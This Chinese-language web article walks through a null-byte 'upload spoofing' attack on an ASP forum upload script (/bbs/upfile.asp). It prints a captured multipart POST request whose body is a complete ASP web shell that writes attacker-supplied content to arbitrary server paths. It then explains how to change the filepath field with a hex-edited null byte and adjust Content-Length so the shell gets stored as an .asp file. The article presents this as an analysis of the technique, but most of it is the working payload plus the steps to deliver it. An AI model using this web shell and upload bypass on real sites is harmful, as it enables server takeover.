实际上网络中存在着很多的漏洞,通过这些漏洞的利用黑客就可能会入侵网站的服务器,取得管理员权限。其中不少的程序都存在着上传漏洞,通过上传漏洞黑客入侵者便可以上传一个ASP木马,然后通过上传漏洞欺骗技术来达到自己入侵的目的。接下来本篇文章就讲分析一下上传漏洞欺骗的具体原理。
POST /bbs/upfile.asp HTTP/1.1
……. 省略了N多没用信息
- Content-Length: 1792
- Connection: Keep-Alive
- Cache-Control: no-cache
- Cookie: ASPSESSIONIDQQTDTATD=NLDNNHPDJEEHOFNFBAGPOJKN
- -----------------------------7d52191850242
- Content-Disposition: form-data; name="filepath"
- uploadFace
- -----------------------------7d52191850242
- Content-Disposition: form-data; name="act"
- upload
- -----------------------------7d52191850242
- Content-Disposition: form-data; name="file1";
- filename="E:\木马\asp\shell.asp"
- Content-Type: text/plain
- <% dim objFSO %>
- <% dim fdata %>
- <% dim objCountFile %>
- <% on error resume next %>
- <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
- <% if Trim(request("syfdpath"))<>"" then %>
- <% fdata = request("cyfddata") %>
- <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
- <% objCountFile.Write fdata %>
- <% if err =0 then %>
- <% response.write "<font color=red><h2>成功!</h2><font>" %>
- <% else %>
- <% response.write "<font color=red><h1>失败!</h1></font>" %>
- <% end if %>
- <% err.clear %>
- <% end if %>
- <% objCountFile.Close %>
- <% Set objCountFile=Nothing %>
- <% Set objFSO = Nothing %>
- <% Response.write "<form action='' method=post>" %>
- <% Response.write "保存留言<font color=red>如D:\web\x.asp</font>" %>
- <% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
- <% Response.Write "<br>" %>
- <% Response.write "地址来自" %>
- <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
- <% Response.write "<br>" %>
- <% Response.write "你的留言:" %>
- <% Response.write "<textarea name=cyfddata
- cols=80 rows=10 width=32></textarea>" %>
- <% Response.write "<input type=submit value=sky!!>" %>
- <% Response.write "</form>" %>
-----------------------------7d52191850242
Content-Disposition: form-data; name="fname"
E:\木马\asp\shell.asp
-----------------------------7d52191850242
Content-Disposition: form-data; name="Submit"
上传
-----------------------------7d52191850242--
传递的信息我们获取了,下面就来修改下达到上传漏洞欺骗目的。主要修改一下几点:
1.Content-Disposition: form-data; name="file1"; filename="E:\木马\asp\shell.asp"
2.Content-Disposition: form-data; name="fname"
E:\木马\asp\shell.asp
3.最重要的地方是Content-Disposition: form-data; name="filepath"下面的值要修改下。我们修改成uploadFace\shell.asp后面怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit(用Ctrl+H转换到16进制模式下)里将就空格符的20改成00)。
4.还有一个地方也要修改,就是这句Content-Length: 1792表示提交数据的字符个数。
如果你修改了filepath的值那么这个长度1792也要变换,一个字母或者数字的长度就是1,不要忘记最后面那个空格那个也算1。
【编辑推荐】